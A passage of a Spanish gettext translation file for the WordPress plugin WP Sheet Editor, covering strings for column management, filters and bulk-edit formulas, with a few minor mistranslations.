columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: 